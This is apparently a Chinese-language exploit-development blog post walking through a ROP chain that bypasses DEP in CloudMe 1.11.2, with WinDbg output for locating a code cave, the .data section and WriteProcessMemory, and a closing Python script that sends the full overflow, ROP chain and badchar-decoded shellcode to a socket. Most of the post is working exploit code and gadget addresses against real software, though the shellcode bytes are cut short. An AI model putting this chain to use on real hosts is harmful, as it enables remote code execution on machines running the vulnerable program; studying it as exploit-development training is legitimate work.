快轉到主要內容

ROP with DEP bypass - CloudMe 1.11.2

·2930 字·6 分鐘
ROP
目錄

🦉0x00 前言
#

Hi,我希望你已經看過 syncbreezeent v10.0.28 的 ROP with DEP bypass 了。我在那一篇 WriteUp 中非常詳細的說明了 ROP 的過程。如果你還沒看過,非常推薦你去看看。至於這一篇 WriteUp 會非常簡短扼要,基本上我不會過多描述為什麼我要這樣做,如果你正好在練習這一題 ROP,只是需要找一個參考,我想這一篇 blog 會非常適合你。但如果你是想從頭學習 ROP,這一篇 blog 可能沒辦法幫助你太多。


🦉0x01 尋找 Code Cave
#

有兩種方法找 base address,選一個喜歡的。

!address Qt5Gui
Base Address:           61b40000
lm m Qt5Gui
start    end        module name
61b40000 62136000   Qt5Gui     (deferred)

尋找 SECTION,SECTION 起始點是 base address + virtual address,結束點是 base address + virtual address + virtual size

!dh Qt5Gui

SECTION HEADER #1
   .text name
  44A0E0 virtual size
    1000 virtual address
  44A200 size of raw data
     400 file pointer to raw data
       0 file pointer to relocation table
       0 file pointer to line numbers
       0 number of relocations
       0 number of line numbers
60500060 flags
         Code
         Initialized Data
         16 byte align
         Execute Read

確認 protect 狀態是否可以寫入。

!vprot 61b40000 + 1000 + 44A0E0 + 100

BaseAddress:       61f8b000
AllocationBase:    61b40000
AllocationProtect: 00000080  PAGE_EXECUTE_WRITECOPY
RegionSize:        00001000
State:             00001000  MEM_COMMIT
Protect:           00000020  PAGE_EXECUTE_READ
Type:              01000000  MEM_IMAGE

確認是否都是 0x00 才能當作 Code Cave。

dd 61b40000 + 1000 + 44A0E0 + 100
dd 61b40000 + 1000 + 44A0E0 + 800

確認 Code Cave 的 address。

? 61b40000 + 1000 + 44A0E0 + 100
Evaluate expression: 1643688416 = 61f8b1e0

🦉0x02 尋找 lpNumberOfBytesWritten
#

找 .data 區段。

!dh Qt5Gui

SECTION HEADER #2
   .data name
    29B0 virtual size
  44C000 virtual address
    2A00 size of raw data
  44A600 file pointer to raw data
       0 file pointer to relocation table
       0 file pointer to line numbers
       0 number of relocations
       0 number of line numbers
C0600040 flags
         Initialized Data
         32 byte align
         Read Write
dd Qt5Gui + 44C000 + 29B0 + 4 L4
61f8e9b4  00000000 00000000 00000000 00000000

確認 protect 狀態是否可以寫入。

0:000> !vprot Qt5Gui + 44C000 + 29B0 + 4

BaseAddress:       61f8e000
AllocationBase:    61b40000
AllocationProtect: 00000080  PAGE_EXECUTE_WRITECOPY
RegionSize:        00001000
State:             00001000  MEM_COMMIT
Protect:           00000008  PAGE_WRITECOPY
Type:              01000000  MEM_IMAGE
?Qt5Gui + 44C000 + 29B0 + 4
Evaluate expression: 1643702708 = 61f8e9b4

🦉0x03 尋找 WPM 在 IAT 的 address
#

找 IAT 的 offset。

!dh -f Qt5Gui

5CB000

抓一個倒楣鬼算 WPM 的 address。

dds Qt5Gui + 5CB000
6210b068  77874030 KERNEL32!GetLastErrorStub

算 offset。

? KERNEL32!GetLastErrorStub - KERNEL32!WriteProcessMemoryStub
Evaluate expression: -129696 = fffe0560

爬 IAT 確認看倒楣鬼真正的 address。

u KERNEL32!GetLastErrorStub

KERNEL32!GetLastErrorStub:
77874030 ff25d4b38d77    jmp     dword ptr [KERNEL32!_imp__GetLastError (778db3d4)]

算 WPM address。

0:000> ? 77874030 + 0n129696 
Evaluate expression: 2005482192 = 77893ad0

確定是 WPM。

u 77893ad0

KERNEL32!WriteProcessMemoryStub:
77893ad0 8bff            mov     edi,edi
77893ad2 55              push    ebp
77893ad3 8bec            mov     ebp,esp
77893ad5 5d              pop     ebp

先捏出 writeprocessmemory 的骨架。

wpm=pack("<L",0x69696969)   # (Todo) WriteProcessMemory Address
wpm+=pack("<L",0x61f8b1e0)  # Return Address after WPM
wpm+=pack("<L",0xFFFFFFFF)  # hProcess, -1
wpm+=pack("<L",0x61f8b1e0)  # lpBaseAddress, Code Cave
wpm+=pack("<L",0x70707070)  # (Todo) lpBuffer
wpm+=pack("<L",0x71717171)  # (Todo) nSize, 0x700
wpm+=pack("<L",0x61f8e9b4)  # *lpNumberOfBytesWritten, .data

🦉0x04 ROP
#

找 libspp 的 base address。

.load narly
!nmod

61b40000 62136000 Qt5Gui

用 rp-win32 來取得 gadget。

C:\Users\tonya\Desktop\ROP\rp-win32.exe -r 5 --va 0x61b40000 --file "C:\Users\tonya\AppData\Local\Programs\CloudMe\CloudMe\Qt5Gui.dll" > rop5.txt

先把 esp 記錄下來。

eip = pack("<L",0x61bd3efe) # push esp ; pop ebx ; pop esi ; ret ;
filler = b'D' * 4

透過 esp 取得 stack 的範圍。

r esp
!address esp

Base Address:           00a33000
End Address:            00a40000

搜尋該範圍中 WPM 的佔位字元。

s -b a33000 a40000 69 69 69 69
00a3aa10

計算 offset,WPM 的佔位離 ebx 0x20 遠,如果要到 WPM 的佔位字元,要從 esp - 0x20

? ebx - a3aa10

Evaluate expression: 32 = 00000020

第一部分 ROP,指到 WriteProcessMemory Address,放 edx 備用。

print("[+] Get skeleton of WPM Address & put into edx")
rop  = pack("<L",0x61dcd833) # xchg eax, ebx ; ret ;
rop += pack("<L",0x61f05942) # pop ecx ; ret ;
rop += pack("<L",0xffffffe0) # -32
rop += pack("<L",0x61d7a3b7) # add eax, ecx ; ret ;
rop += pack("<L",0x61f2735a) # xchg eax, edx ; ret ;

第二部分 ROP,準備好 -129696,是從 GetLastErrorStub 到 WriteProcessMemoryStub 的差值,放 ecx 備用。

print("[+] Put GetLastErrorStub-WriteProcessMemoryStub into ecx")
rop += pack("<L",0x61f05942) # pop ecx ; ret ;
rop += pack("<L",0xfffe0560) # -129696

第三部分 ROP,準備好 GetLastErrorStub 的 IAT address,由於是指標,所以要取出當中真正的 address,放到 skeleton 最頂部。

print("[+] Put WPM Address into skeleton")
rop += pack("<L",0x61b94fc5) # pop eax ; ret ;
rop += pack("<L",0x6210b068) # GetLastErrorStub
rop += pack("<L",0x61bd51e2) # mov eax,  [eax] ; ret ;
rop += pack("<L",0x61c49e73) # sub eax, ecx ; ret ;
rop += pack("<L",0x61f2b0d3) # mov  [edx], eax ; ret ;

此時的 ROP 應該已經完成這些部分,由於後面的 Return Address、hProcess、lpBaseAddress 都是硬編碼,因此直接跳過。

wpm=pack("<L",0xXXXXXXXX)   # (Done) WriteProcessMemory Address
wpm+=pack("<L",0x61f8b1e0)  # Return Address after WPM   
wpm+=pack("<L",0xFFFFFFFF)  # hProcess, -1
wpm+=pack("<L",0x61f8b1e0)  # lpBaseAddress, Code Cave
wpm+=pack("<L",0x70707070)  # (Todo) lpBuffer
wpm+=pack("<L",0x71717171)  # (Todo) nSize, 0x700
wpm+=pack("<L",0x61f8e9b4)  # *lpNumberOfBytesWritten, .data

第四部份 ROP,跳過那些硬編碼的部分,讓 edx 指向 lpBuffer。

print("[+] Move edx to skeleton of lpBuffer")
rop += pack("<L",0x61b455fa) # inc edx ; ret ;
rop += pack("<L",0x61b455fa) # inc edx ; ret ;
rop += pack("<L",0x61b455fa) # inc edx ; ret ;
rop += pack("<L",0x61b455fa) # inc edx ; ret ;
rop += pack("<L",0x61b455fa) # inc edx ; ret ;
rop += pack("<L",0x61b455fa) # inc edx ; ret ;
rop += pack("<L",0x61b455fa) # inc edx ; ret ;
rop += pack("<L",0x61b455fa) # inc edx ; ret ;
rop += pack("<L",0x61b455fa) # inc edx ; ret ;
rop += pack("<L",0x61b455fa) # inc edx ; ret ;
rop += pack("<L",0x61b455fa) # inc edx ; ret ;
rop += pack("<L",0x61b455fa) # inc edx ; ret ;
rop += pack("<L",0x61b455fa) # inc edx ; ret ;
rop += pack("<L",0x61b455fa) # inc edx ; ret ;
rop += pack("<L",0x61b455fa) # inc edx ; ret ;
rop += pack("<L",0x61b455fa) # inc edx ; ret ;

確認已經就定位到 lpBuffer。

dd edx L1
00a3aa20  70707070

計算 skeleton 的 lpBuffer 距離 shell code 有多遠,先取得目前的 edx。

!address edx

查看當前的 stack 範圍,搜尋 shellcode 前 3 bytes。

s -b 00a33000 00a40000 fc e8 82
00a3acfc

計算 offset,會隨著 ROP gadgets 堆疊而改變,後面需要再回來修正。

0:000> ? 00a3acfc -edx
Evaluate expression: 732 = 000002dc

確認 shellcode 的位置正確。

dd edx+0n732 L1
00a3acfc  0182e8fc

第五部分 ROP,計算 edx 距離 shell code 有多遠,並且將 shell code 所在的 address 寫入 lpBuffer,之後 WPM 會從這個 address 把 shell code 寫入 Code Cave。時空旅人從未來回來,offset 在這裡變成 204 了。

0:000> ? -0n204
Evaluate expression: -732 = fffffd24
print("[+] Put shellcode address to skeleton of lpBuffer")
rop += pack("<L",0x61b94fc5) # pop eax ; ret ;
rop += pack("<L",0xffffff34) # -204
rop += pack("<L",0x61eed92a) # neg eax ; ret ;
rop += pack("<L",0x61c59bdd) # add eax, edx ; ret ;
rop += pack("<L",0x61f2b0d3) # mov  [edx], eax ; ret ;

第六部份 ROP,讓 edx 指向 nSize。

print("[+] Move edx to skeleton of nSize")
rop += pack("<L",0x61b455fa) # inc edx ; ret ;
rop += pack("<L",0x61b455fa) # inc edx ; ret ;
rop += pack("<L",0x61b455fa) # inc edx ; ret ;
rop += pack("<L",0x61b455fa) # inc edx ; ret ;

第七部分 ROP,把 nSize 放進去 skeleton 的 nSize。

0:011> ? -0n700
Evaluate expression: -700 = fffffd44
print("[+] Put shell code size to skeleton of nSize")
rop += pack("<L",0x61b94fc5) # pop eax ; ret ;
rop += pack("<L",0xfffffd44) # 700
rop += pack("<L",0x61eed92a) # neg eax ; ret ;
rop += pack("<L",0x61f2b0d3) # mov  [edx], eax ; ret ;

第八部分 ROP,把 shell code 的開始位置放在 ebx。這裡挑戰了一下極限,使用了 decoder 來解決 shell code 的 badchar。以後不敢了。

print("[+] Put shell code start address to ebx")
rop += pack("<L",0x61b94fc5) # pop eax ; ret ;
rop += pack("<L",0xfffffd28) # -728
rop += pack("<L",0x61eed92a) # neg eax ; ret ;
rop += pack("<L",0x61c59bdd) # add eax, edx ; ret ;
rop += pack("<L",0x61dcd833) # xchg eax, ebx ; ret ;

開始迴圈 decoder,總之就是移動一段距離,修值,再移動一段距離,修值,重複這個行為。

for distance in badchar_locate_distance_list:
    rop += pack("<L",0x61b94fc5)    # pop eax ; ret ;
    rop += pack("<L",neg(distance)) # distance
    rop += pack("<L",0x61eed92a)    # neg eax ; ret ;
    rop += pack("<L",0x61cbd77e)    # add ebx, eax ; xor eax, eax ; ret ;
    rop += pack("<L",0x61b94fc5)    # pop eax ; ret ;
    rop += pack("<L",0xffffffff)    # -1
    rop += pack("<L",0x61defd81)    # add byte [ebx], al ; ret ;

第九部分 ROP,將 skeleton 頂端的 address 放入 esp 中執行 WPM,可以用 edx 去找,但也能算,前面總共對 edx 動了 20 次,所以就減去 0x14

0:000> dd edx-14 L4
00a3aa10  77893ad0 61f8b1e0 ffffffff 61f8b1e0
print("[+] Set esp to WPM")
rop += pack("<L",0x61b94fc5) # pop eax ; ret ;
rop += pack("<L",0xffffffec) # -20
rop += pack("<L",0x61c59bdd) # add eax, edx ; ret ;
rop += pack("<L",0x61bf84c0) # xchg eax, esp ; ret ;

最後記得回去修 lpBuffer。


🦉0x05 範例 Payload
#

from struct import pack
import socket

###################################################################

def neg(i):
    return 0x100000000 - i

badchar_locate_list = []
badchar_locate_distance_list = []

def encoder(sh):
    shellcode = bytearray(sh)
    
    for c in range(len(shellcode)):
        if shellcode[c] in [ord(i) for i in [b'\x00',b'\x0a', b'\x0d', b'\x25', b'\x26', b'\x2b', b'\x3d']]:
            # CHANGE HERE
            # shellcode[c] = (shellcode[c] + 1) & 0xFF  
            shellcode[c] = shellcode[c] + 1
            badchar_locate_list.append(c)

    # print(badchar_locate_list)

    for i in range(len(badchar_locate_list)):
        if i == 0:
            badchar_locate_distance_list.append(badchar_locate_list[0])
        else:
            badchar_locate_distance_list.append(badchar_locate_list[i] - badchar_locate_list[i-1])

    return shellcode
    # print(badchar_locate_distance_list)


###################################################################


badchars = [0x00]

TARGET_IP = "127.0.0.1"
TARGET_PORT = 8888
target = (TARGET_IP, TARGET_PORT)  # vulnserver

shellcode =  b""
shellcode += b"\xfc\xe8\x82\x00..."
shellcode = encoder(shellcode)

print(len(shellcode))

crash_offset  = 1052

wpm=pack("<L",0x69696969)   # WriteProcessMemory Address
wpm+=pack("<L",0x61f8b1e0)  # Return Address after WPM
wpm+=pack("<L",0xFFFFFFFF)  # hProcess, -1
wpm+=pack("<L",0x61f8b1e0)  # lpBaseAddress, Code Cave
wpm+=pack("<L",0x70707070)  # lpBuffer
wpm+=pack("<L",0x71717171)  # nSize
wpm+=pack("<L",0x61f8e9b4)  # *lpNumberOfBytesWritten, .data

junk = b'A' * (crash_offset-len(wpm))
eip = pack("<L",0x61bd3efe) # push esp ; pop ebx ; pop esi ; ret ;
filler = b'D' * 4           # garbage for pop esi;

print("[+] Get skeleton of WPM Address & put into edx")
rop  = pack("<L",0x61dcd833) # xchg eax, ebx ; ret ;
rop += pack("<L",0x61f05942) # pop ecx ; ret ;
rop += pack("<L",0xffffffe0) # -32
rop += pack("<L",0x61d7a3b7) # add eax, ecx ; ret ;
rop += pack("<L",0x61f2735a) # xchg eax, edx ; ret ;

print("[+] Put GetLastErrorStub-WriteProcessMemoryStub into ebx")
rop += pack("<L",0x61f05942) # pop ecx ; ret ;
rop += pack("<L",0xfffe0560) # -129696

print("[+] Put WPM Address into skeleton")
rop += pack("<L",0x61b94fc5) # pop eax ; ret ;
rop += pack("<L",0x6210b068) # GetLastErrorStub
rop += pack("<L",0x61bd51e2) # mov eax,  [eax] ; ret ;
rop += pack("<L",0x61c49e73) # sub eax, ecx ; ret ;
rop += pack("<L",0x61f2b0d3) # mov  [edx], eax ; ret ;

print("[+] Move edx to skeleton of lpBuffer")
rop += pack("<L",0x61b455fa) # inc edx ; ret ;
rop += pack("<L",0x61b455fa) # inc edx ; ret ;
rop += pack("<L",0x61b455fa) # inc edx ; ret ;
rop += pack("<L",0x61b455fa) # inc edx ; ret ;
rop += pack("<L",0x61b455fa) # inc edx ; ret ;
rop += pack("<L",0x61b455fa) # inc edx ; ret ;
rop += pack("<L",0x61b455fa) # inc edx ; ret ;
rop += pack("<L",0x61b455fa) # inc edx ; ret ;
rop += pack("<L",0x61b455fa) # inc edx ; ret ;
rop += pack("<L",0x61b455fa) # inc edx ; ret ;
rop += pack("<L",0x61b455fa) # inc edx ; ret ;
rop += pack("<L",0x61b455fa) # inc edx ; ret ;
rop += pack("<L",0x61b455fa) # inc edx ; ret ;
rop += pack("<L",0x61b455fa) # inc edx ; ret ;
rop += pack("<L",0x61b455fa) # inc edx ; ret ;
rop += pack("<L",0x61b455fa) # inc edx ; ret ;

print("[+] Put shellcode address to skeleton of lpBuffer")
rop += pack("<L",0x61b94fc5) # pop eax ; ret ;
rop += pack("<L",0xfffffd24) # -732
rop += pack("<L",0x61eed92a) # neg eax ; ret ;
rop += pack("<L",0x61c59bdd) # add eax, edx ; ret ;
rop += pack("<L",0x61f2b0d3) # mov  [edx], eax ; ret ;

print("[+] Move edx to skeleton of nSize")
rop += pack("<L",0x61b455fa) # inc edx ; ret ;
rop += pack("<L",0x61b455fa) # inc edx ; ret ;
rop += pack("<L",0x61b455fa) # inc edx ; ret ;
rop += pack("<L",0x61b455fa) # inc edx ; ret ;

print("[+] Put shell code size to skeleton of nSize")
rop += pack("<L",0x61b94fc5) # pop eax ; ret ;
rop += pack("<L",0xfffffd44) # 700
rop += pack("<L",0x61eed92a) # neg eax ; ret ;
rop += pack("<L",0x61f2b0d3) # mov  [edx], eax ; ret ;


rop += pack("<L",0x61b4157e)  # ret ;

print("[+] Put shell code start address to ebx")
rop += pack("<L",0x61b94fc5) # pop eax ; ret ;
rop += pack("<L",0xfffffd28) # -728
rop += pack("<L",0x61eed92a) # neg eax ; ret ;
rop += pack("<L",0x61c59bdd) # add eax, edx ; ret ;
rop += pack("<L",0x61dcd833) # xchg eax, ebx ; ret ;

for distance in badchar_locate_distance_list:
    rop += pack("<L",0x61b94fc5)    # pop eax ; ret ;
    rop += pack("<L",neg(distance)) # distance
    rop += pack("<L",0x61eed92a)    # neg eax ; ret ;
    rop += pack("<L",0x61cbd77e)    # add ebx, eax ; xor eax, eax ; ret ;
    rop += pack("<L",0x61b94fc5)    # pop eax ; ret ;
    rop += pack("<L",0xffffffff)    # -1
    rop += pack("<L",0x61defd81)    # add byte [ebx], al ; ret ;


rop += pack("<L",0x61b4157e)  # ret ;

print("[+] Set esp to WPM")
rop += pack("<L",0x61b94fc5) # pop eax ; ret ;
rop += pack("<L",0xffffffec) # -20
rop += pack("<L",0x61c59bdd) # add eax, edx ; ret ;
rop += pack("<L",0x61bf84c0) # xchg eax, esp ; ret ;

payload = junk + wpm + eip + filler + rop + shellcode
crash = 2000  # change me
payload += b"C"*(crash - len(payload))

with socket.create_connection(target) as sock:
    sent = sock.send(payload)
    print(f"sent {sent} bytes")
Tonya
作者
Tonya
就是個喜歡看 Vtuber 的平凡資安人